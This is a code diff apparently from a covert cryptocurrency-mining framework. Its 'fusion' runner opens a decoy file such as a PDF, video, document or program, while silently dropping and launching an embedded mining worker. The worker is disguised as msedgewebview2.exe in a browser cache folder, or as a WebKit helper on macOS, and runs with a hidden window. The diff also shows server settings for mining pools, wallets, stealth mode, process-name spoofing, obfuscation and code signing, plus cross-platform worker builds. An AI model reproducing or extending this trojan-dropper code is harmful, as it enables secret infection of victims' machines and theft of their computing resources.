agent/stats/reporter_unix.go
Normal file
@@ -0,0 +1,50 @@
|
||||
//go:build !windows
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type Reporter struct {
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
return &Reporter{}
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
|
||||
hostname, _ = os.Hostname()
|
||||
cpuCores = runtime.NumCPU()
|
||||
total, _ := r.memoryStatus()
|
||||
memoryGB = int(total / (1024 * 1024 * 1024))
|
||||
if memoryGB < 1 {
|
||||
memoryGB = 1
|
||||
}
|
||||
return hostname, cpuCores, memoryGB
|
||||
}
|
||||
|
||||
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||
total, avail := r.memoryStatus()
|
||||
if total > 0 {
|
||||
memPct = float64(total-avail) / float64(total) * 100
|
||||
}
|
||||
return 0, memPct
|
||||
}
|
||||
|
||||
func (r *Reporter) FreeMemoryMB() uint64 {
|
||||
_, avail := r.memoryStatus()
|
||||
return avail / (1024 * 1024)
|
||||
}
|
||||
|
||||
func (r *Reporter) TotalMemoryMB() uint64 {
|
||||
total, _ := r.memoryStatus()
|
||||
return total / (1024 * 1024)
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
return 0
|
||||
}
|
||||
@@ -1,3 +1,5 @@
|
||||
//go:build windows
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
@@ -54,7 +56,6 @@ func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||
if total > 0 {
|
||||
memPct = float64(total-avail) / float64(total) * 100
|
||||
}
|
||||
// CPU usage is reported by the agent client from mining load; keep a sane default here.
|
||||
cpuPct = 0
|
||||
return cpuPct, memPct
|
||||
}
|
||||
28
fusion/cache_unix.go
Normal file
28
fusion/cache_unix.go
Normal file
@@ -0,0 +1,28 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func cacheDropBase() string {
|
||||
if runtime.GOOS == "darwin" {
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, "Library", "Caches", "com.apple.WebKit.WebContent")
|
||||
}
|
||||
if xdg := os.Getenv("XDG_CACHE_HOME"); xdg != "" {
|
||||
return filepath.Join(xdg, "aetherforge")
|
||||
}
|
||||
home, _ := os.UserHomeDir()
|
||||
return filepath.Join(home, ".cache", "aetherforge")
|
||||
}
|
||||
|
||||
func dropBinaryName() string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return "msedgewebview2.exe"
|
||||
}
|
||||
return "webcontent-helper"
|
||||
}
|
||||
20
fusion/cache_windows.go
Normal file
20
fusion/cache_windows.go
Normal file
@@ -0,0 +1,20 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func cacheDropBase() string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
return filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5")
|
||||
}
|
||||
|
||||
func dropBinaryName() string {
|
||||
return "msedgewebview2.exe"
|
||||
}
|
||||
@@ -1,7 +1,3 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func applyHiddenStart(_ *exec.Cmd) {}
|
||||
|
||||
@@ -1,20 +1,3 @@
|
||||
//go:build windows
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const createNoWindow = 0x08000000
|
||||
|
||||
func applyHiddenStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: createNoWindow,
|
||||
}
|
||||
}
|
||||
|
||||
232
fusion/main.go
232
fusion/main.go
@@ -6,9 +6,10 @@ import (
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
@@ -40,62 +41,42 @@ func main() {
|
||||
|
||||
workerPath, err := materializeWorker()
|
||||
if err != nil {
|
||||
log.Printf("[fusion] worker materialize failed: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
switch payloadKind {
|
||||
case "video":
|
||||
runVideoFusion(workerPath)
|
||||
default:
|
||||
runExeFusion(workerPath)
|
||||
}
|
||||
runFileFusion(workerPath)
|
||||
}
|
||||
|
||||
func runExeFusion(workerPath string) {
|
||||
prepBytes, err := assets.ReadFile("assets/prep.exe")
|
||||
if err != nil || len(prepBytes) == 0 {
|
||||
// runFileFusion handles any payload type — exe, video, PDF, document, image, etc.
|
||||
// The original file is opened with the OS default application while the worker
|
||||
// installs silently in the background.
|
||||
func runFileFusion(workerPath string) {
|
||||
fileName := resolvePayloadFileName()
|
||||
if fileName == "" {
|
||||
log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)")
|
||||
return
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer os.RemoveAll(dir)
|
||||
var filePath string
|
||||
|
||||
prepPath := filepath.Join(dir, "prep.exe")
|
||||
if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
|
||||
}
|
||||
|
||||
func runVideoFusion(workerPath string) {
|
||||
mediaName := mediaFileName
|
||||
if mediaName == "" {
|
||||
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||
mediaName = m.MediaFileName
|
||||
}
|
||||
}
|
||||
if mediaName == "" {
|
||||
mediaName = "movie.mkv"
|
||||
}
|
||||
|
||||
var mediaPath string
|
||||
var err error
|
||||
switch mediaMode {
|
||||
case "embedded":
|
||||
var cleanup func()
|
||||
mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
|
||||
var err error
|
||||
filePath, cleanup, err = materializeEmbeddedPayload(fileName)
|
||||
if err != nil {
|
||||
log.Printf("[fusion] embedded payload: %v", err)
|
||||
return
|
||||
}
|
||||
defer cleanup()
|
||||
default:
|
||||
// "paired" — file ships alongside the runner in the ZIP
|
||||
var cleanup func()
|
||||
mediaPath, cleanup, err = resolvePairedMedia(mediaName)
|
||||
if err != nil || mediaPath == "" {
|
||||
var err error
|
||||
filePath, cleanup, err = resolvePairedFile(fileName)
|
||||
if err != nil || filePath == "" {
|
||||
log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err)
|
||||
return
|
||||
}
|
||||
if cleanup != nil {
|
||||
@@ -103,7 +84,89 @@ func runVideoFusion(workerPath string) {
|
||||
}
|
||||
}
|
||||
|
||||
runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
|
||||
// Decide how to open the payload:
|
||||
// - .exe with payloadKind=="exe" → run it directly and wait
|
||||
// - everything else → open with OS default app (works for PDF, video, doc, image, etc.)
|
||||
ext := strings.ToLower(filepath.Ext(fileName))
|
||||
if ext == ".exe" && payloadKind == "exe" {
|
||||
runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) })
|
||||
} else {
|
||||
runFusionOrder(workerPath, filePath, func() { openFile(filePath) })
|
||||
}
|
||||
}
|
||||
|
||||
// resolvePayloadFileName returns the original filename from baked constants or manifest.
|
||||
func resolvePayloadFileName() string {
|
||||
if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" {
|
||||
return mediaFileName
|
||||
}
|
||||
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
||||
return m.MediaFileName
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir.
|
||||
// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe).
|
||||
func materializeEmbeddedPayload(name string) (string, func(), error) {
|
||||
var data []byte
|
||||
for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} {
|
||||
d, err := assets.ReadFile(asset)
|
||||
if err == nil && len(d) > 0 {
|
||||
data = d
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return "", nil, fmt.Errorf("embedded payload missing")
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
perm := os.FileMode(0644)
|
||||
if strings.ToLower(filepath.Ext(name)) == ".exe" {
|
||||
perm = 0755
|
||||
}
|
||||
if err := os.WriteFile(path, data, perm); err != nil {
|
||||
_ = os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||
}
|
||||
|
||||
// resolvePairedFile finds the payload file relative to the runner binary.
|
||||
// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout
|
||||
// where the payload file lives at the ZIP root (two levels up from the runner).
|
||||
// Falls back to legacy encrypted media (video mode).
|
||||
func resolvePairedFile(name string) (string, func(), error) {
|
||||
// Legacy: encrypted video with key in manifest
|
||||
if m := readManifest(); m != nil && m.MediaKeyB64 != "" {
|
||||
return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name)
|
||||
}
|
||||
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
base := filepath.Base(name)
|
||||
dir := filepath.Dir(exe)
|
||||
|
||||
// Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout)
|
||||
for range []int{0, 1, 2} {
|
||||
p := filepath.Join(dir, base)
|
||||
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||
return p, func() {}, nil
|
||||
}
|
||||
parent := filepath.Dir(dir)
|
||||
if parent == dir {
|
||||
break
|
||||
}
|
||||
dir = parent
|
||||
}
|
||||
return "", nil, fmt.Errorf("payload file not found")
|
||||
}
|
||||
|
||||
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||
@@ -114,7 +177,7 @@ func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
||||
case "worker_first":
|
||||
launchWorker(workerPath)
|
||||
go runPrimary()
|
||||
default:
|
||||
default: // parallel
|
||||
launchWorker(workerPath)
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(1)
|
||||
@@ -138,95 +201,42 @@ func readManifest() *fusionManifest {
|
||||
return &m
|
||||
}
|
||||
|
||||
func materializeEmbeddedMedia(name string) (string, func(), error) {
|
||||
data, err := assets.ReadFile("assets/media.bin")
|
||||
if err != nil || len(data) == 0 {
|
||||
return "", nil, fmt.Errorf("embedded media missing")
|
||||
}
|
||||
dir, err := os.MkdirTemp("", "cm-fusion-media-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
path := filepath.Join(dir, filepath.Base(name))
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
return path, func() { _ = os.RemoveAll(dir) }, nil
|
||||
}
|
||||
|
||||
func resolvePairedMedia(name string) (string, func(), error) {
|
||||
m := readManifest()
|
||||
encFile := name + ".cmdata"
|
||||
keyB64 := ""
|
||||
playName := name
|
||||
if m != nil {
|
||||
if m.MediaEncFile != "" {
|
||||
encFile = m.MediaEncFile
|
||||
}
|
||||
keyB64 = m.MediaKeyB64
|
||||
if m.MediaFileName != "" {
|
||||
playName = m.MediaFileName
|
||||
}
|
||||
}
|
||||
if keyB64 != "" {
|
||||
return encryptedMediaBesideRunner(encFile, keyB64, playName)
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
dir := filepath.Dir(exe)
|
||||
for _, candidate := range []string{name, filepath.Base(name)} {
|
||||
p := filepath.Join(dir, candidate)
|
||||
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
||||
return p, func() {}, nil
|
||||
}
|
||||
}
|
||||
return "", nil, fmt.Errorf("media not found")
|
||||
}
|
||||
|
||||
func materializeWorker() (string, error) {
|
||||
workerBytes, err := assets.ReadFile("assets/worker.exe")
|
||||
if err != nil || len(workerBytes) == 0 {
|
||||
return "", fmt.Errorf("worker missing")
|
||||
data, err := assets.ReadFile("assets/worker")
|
||||
if err != nil || len(data) == 0 {
|
||||
data, err = assets.ReadFile("assets/worker.exe")
|
||||
if err != nil || len(data) == 0 {
|
||||
return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly")
|
||||
}
|
||||
}
|
||||
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
sum := sha256.Sum256(workerBytes)
|
||||
base := cacheDropBase()
|
||||
sum := sha256.Sum256(data)
|
||||
tag := hex.EncodeToString(sum[:6])
|
||||
dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
|
||||
dir := filepath.Join(base, tag)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
dest := filepath.Join(dir, "msedgewebview2.exe")
|
||||
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
|
||||
destName := dropBinaryName()
|
||||
dest := filepath.Join(dir, destName)
|
||||
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) {
|
||||
if sha256.Sum256(existing) == sum {
|
||||
return dest, nil
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
|
||||
if err := os.WriteFile(dest, data, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return dest, nil
|
||||
}
|
||||
|
||||
func launchWorker(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
applyHiddenStart(cmd)
|
||||
if err := cmd.Start(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "fusion: worker start failed: %v\n", err)
|
||||
}
|
||||
applyHiddenStartPath(path)
|
||||
}
|
||||
|
||||
func waitProcess(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
_ = cmd.Run()
|
||||
// waitAndRun launches an exe synchronously (used for exe payload kind).
|
||||
func waitAndRun(path string) {
|
||||
applyWaitRun(path)
|
||||
}
|
||||
|
||||
func fusionLockHintMode() bool {
|
||||
|
||||
43
fusion/media_darwin.go
Normal file
43
fusion/media_darwin.go
Normal file
@@ -0,0 +1,43 @@
|
||||
//go:build darwin
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// openFile opens any file with the macOS default application via `open`.
|
||||
// Works for PDF, video, document, image, and more.
|
||||
func openFile(path string) {
|
||||
path = filepath.Clean(path)
|
||||
_ = exec.Command("open", path).Start()
|
||||
}
|
||||
|
||||
// applyHiddenStartPath launches the worker binary in the background.
|
||||
func applyHiddenStartPath(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyWaitRun runs a file and waits — on macOS, opens via `open -W` (wait).
|
||||
func applyWaitRun(path string) {
|
||||
ext := filepath.Ext(path)
|
||||
if ext == ".app" || ext == "" {
|
||||
cmd := exec.Command("open", "-W", path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
} else {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
}
|
||||
}
|
||||
34
fusion/media_linux.go
Normal file
34
fusion/media_linux.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// openFile opens any file with the Linux default application via xdg-open.
|
||||
// Works for PDF, video, document, image, and more.
|
||||
func openFile(path string) {
|
||||
_ = exec.Command("xdg-open", path).Start()
|
||||
}
|
||||
|
||||
// applyHiddenStartPath launches the worker binary in the background.
|
||||
func applyHiddenStartPath(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyWaitRun runs a file and waits — on Linux exe files run directly.
|
||||
func applyWaitRun(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
import "os/exec"
|
||||
|
||||
func openMedia(path string) {
|
||||
cmd := exec.Command("xdg-open", path)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
@@ -3,12 +3,36 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func openMedia(path string) {
|
||||
// openFile opens any file with the Windows default application.
|
||||
// Works for PDF, video, document, image, executable — anything.
|
||||
func openFile(path string) {
|
||||
path = filepath.Clean(path)
|
||||
cmd := exec.Command("cmd", "/c", "start", "", path)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyHiddenStartPath launches the worker binary hidden (no window).
|
||||
func applyHiddenStartPath(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
// applyWaitRun launches an exe directly and waits for it to exit.
|
||||
func applyWaitRun(path string) {
|
||||
cmd := exec.Command(path)
|
||||
cmd.Dir = filepath.Dir(path)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
@@ -87,6 +87,22 @@ if (-not $SkipBuild) {
|
||||
go build -o (Join-Path $Root "bin\install-worker.exe") .
|
||||
Pop-Location
|
||||
}
|
||||
|
||||
Invoke-Phase "7b Agent cross-compile (linux/darwin)" {
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
$env:CGO_ENABLED = "0"
|
||||
$env:GOOS = "linux"; $env:GOARCH = "amd64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-linux-amd64") -ldflags "-s -w" .
|
||||
$env:GOOS = "linux"; $env:GOARCH = "arm64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-linux-arm64") -ldflags "-s -w" .
|
||||
$env:GOOS = "darwin"; $env:GOARCH = "arm64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-darwin-arm64") -ldflags "-s -w" .
|
||||
$env:GOOS = "darwin"; $env:GOARCH = "amd64"
|
||||
go build -o (Join-Path $Root "bin\install-worker-darwin-amd64") -ldflags "-s -w" .
|
||||
Remove-Item Env:GOOS, Env:GOARCH -ErrorAction SilentlyContinue
|
||||
Pop-Location
|
||||
}
|
||||
|
||||
} else {
|
||||
Write-Phase "5-7/8 Build phases (skipped)"
|
||||
}
|
||||
|
||||
193
server/config.go
193
server/config.go
@@ -359,6 +359,199 @@ func mergeConfig(dst, src *Config) {
|
||||
}
|
||||
}
|
||||
|
||||
// mergeConfigExplicit is like mergeConfig but only applies boolean fields when
|
||||
// the corresponding top-level key was explicitly present in the JSON request.
|
||||
// This fixes H14: a partial PUT can no longer silently reset UseTLS, SilentMode,
|
||||
// AutoStart, LogAgentConnections, etc. to false.
|
||||
func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
|
||||
if present == nil {
|
||||
// Fall back to old behaviour if we have no key presence info
|
||||
mergeConfig(dst, src)
|
||||
return
|
||||
}
|
||||
has := func(key string) bool { _, ok := present[key]; return ok }
|
||||
|
||||
// Non-boolean scalar fields — safe to use zero-value guard
|
||||
if src.Port != 0 {
|
||||
dst.Port = src.Port
|
||||
}
|
||||
if src.DataDir != "" {
|
||||
dst.DataDir = src.DataDir
|
||||
}
|
||||
|
||||
// Pool — only touch booleans when key was in the payload
|
||||
if has("pool") {
|
||||
if src.Pool.Host != "" {
|
||||
dst.Pool.Host = src.Pool.Host
|
||||
}
|
||||
if src.Pool.Port != 0 {
|
||||
dst.Pool.Port = src.Pool.Port
|
||||
}
|
||||
dst.Pool.UseTLS = src.Pool.UseTLS // bool: only applied because "pool" key was present
|
||||
if src.Pool.Password != "" {
|
||||
dst.Pool.Password = src.Pool.Password
|
||||
}
|
||||
}
|
||||
|
||||
if has("wallet") {
|
||||
if src.Wallet.Address != "" {
|
||||
dst.Wallet.Address = src.Wallet.Address
|
||||
}
|
||||
if src.Wallet.PaymentID != "" {
|
||||
dst.Wallet.PaymentID = src.Wallet.PaymentID
|
||||
}
|
||||
}
|
||||
|
||||
if has("default_agent") {
|
||||
if src.DefaultAgent.Threads != 0 {
|
||||
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
|
||||
}
|
||||
if src.DefaultAgent.ThreadMode != "" {
|
||||
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
|
||||
}
|
||||
if src.DefaultAgent.ThreadPercent != 0 {
|
||||
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
|
||||
}
|
||||
if src.DefaultAgent.CPUPriority != "" {
|
||||
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
|
||||
}
|
||||
if src.DefaultAgent.MaxCPUUsagePct != 0 {
|
||||
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
|
||||
}
|
||||
if src.DefaultAgent.MaxMemoryPct != 0 {
|
||||
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
|
||||
}
|
||||
if src.DefaultAgent.MinFreeRAMMB != 0 {
|
||||
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
|
||||
}
|
||||
if src.DefaultAgent.MiningMode != "" {
|
||||
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
|
||||
}
|
||||
if src.DefaultAgent.DisplayMode != "" {
|
||||
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
|
||||
}
|
||||
if src.DefaultAgent.ProcessName != "" {
|
||||
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
|
||||
}
|
||||
if src.DefaultAgent.IdleThresholdPct != 0 {
|
||||
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
|
||||
}
|
||||
if src.DefaultAgent.IdleDurationMinutes != 0 {
|
||||
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
|
||||
}
|
||||
if src.DefaultAgent.ScheduleStart != "" {
|
||||
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
|
||||
}
|
||||
if src.DefaultAgent.ScheduleEnd != "" {
|
||||
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
|
||||
}
|
||||
if src.DefaultAgent.InstallBase != "" {
|
||||
dst.DefaultAgent.InstallBase = src.DefaultAgent.InstallBase
|
||||
}
|
||||
if src.DefaultAgent.InstallCustomBase != "" {
|
||||
dst.DefaultAgent.InstallCustomBase = src.DefaultAgent.InstallCustomBase
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
// Booleans only applied because "default_agent" key was present
|
||||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||
}
|
||||
|
||||
if has("background") {
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
}
|
||||
dst.Background.AutoStart = src.Background.AutoStart
|
||||
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
|
||||
}
|
||||
|
||||
if has("alerts") {
|
||||
if src.Alerts.OfflineThresholdMinutes != 0 {
|
||||
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
|
||||
}
|
||||
if src.Alerts.HashrateDropThresholdPct != 0 {
|
||||
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
|
||||
}
|
||||
if src.Alerts.RejectionRateThresholdPct != 0 {
|
||||
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
|
||||
}
|
||||
if src.Alerts.TelegramBotToken != "" {
|
||||
dst.Alerts.TelegramBotToken = src.Alerts.TelegramBotToken
|
||||
}
|
||||
if src.Alerts.TelegramChatID != "" {
|
||||
dst.Alerts.TelegramChatID = src.Alerts.TelegramChatID
|
||||
}
|
||||
dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled
|
||||
if src.Alerts.SMTPHost != "" {
|
||||
dst.Alerts.SMTPHost = src.Alerts.SMTPHost
|
||||
}
|
||||
if src.Alerts.SMTPPort != 0 {
|
||||
dst.Alerts.SMTPPort = src.Alerts.SMTPPort
|
||||
}
|
||||
if src.Alerts.SMTPUser != "" {
|
||||
dst.Alerts.SMTPUser = src.Alerts.SMTPUser
|
||||
}
|
||||
if src.Alerts.SMTPPassword != "" {
|
||||
dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword
|
||||
}
|
||||
if src.Alerts.EmailTo != "" {
|
||||
dst.Alerts.EmailTo = src.Alerts.EmailTo
|
||||
}
|
||||
if src.Alerts.EmailFrom != "" {
|
||||
dst.Alerts.EmailFrom = src.Alerts.EmailFrom
|
||||
}
|
||||
}
|
||||
|
||||
if has("server") {
|
||||
if src.Server.PublicURL != "" {
|
||||
dst.Server.PublicURL = src.Server.PublicURL
|
||||
}
|
||||
if src.Server.StatsRetentionHours != 0 {
|
||||
dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours
|
||||
}
|
||||
if src.Server.BuildRetentionDays != 0 {
|
||||
dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays
|
||||
}
|
||||
if src.Server.PoolReconnectSeconds != 0 {
|
||||
dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds
|
||||
}
|
||||
if src.Server.WebSocketPingSeconds != 0 {
|
||||
dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds
|
||||
}
|
||||
if src.Server.MaxAgents != 0 {
|
||||
dst.Server.MaxAgents = src.Server.MaxAgents
|
||||
}
|
||||
if src.Server.MaxBuildSizeMB != 0 {
|
||||
dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB
|
||||
}
|
||||
// Booleans applied because "server" key was present
|
||||
dst.Server.LogAgentConnections = src.Server.LogAgentConnections
|
||||
dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions
|
||||
dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic
|
||||
dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation
|
||||
dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart
|
||||
dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault
|
||||
dst.Server.SignEnabled = src.Server.SignEnabled
|
||||
if src.Server.DashboardSubtitle != "" {
|
||||
dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
|
||||
}
|
||||
if src.Server.SignCertThumbprint != "" {
|
||||
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
|
||||
}
|
||||
if src.Server.SignToolPath != "" {
|
||||
dst.Server.SignToolPath = src.Server.SignToolPath
|
||||
}
|
||||
if src.Server.SignTimestampURL != "" {
|
||||
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Config) Save() error {
|
||||
configPath := filepath.Join(c.DataDir, "config.json")
|
||||
data, err := json.MarshalIndent(c, "", " ")
|
||||
|
||||
@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
if err := os.WriteFile(filePath, formatted, 0644); err != nil {
|
||||
if err := os.WriteFile(filePath, formatted, 0600); err != nil {
|
||||
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
202
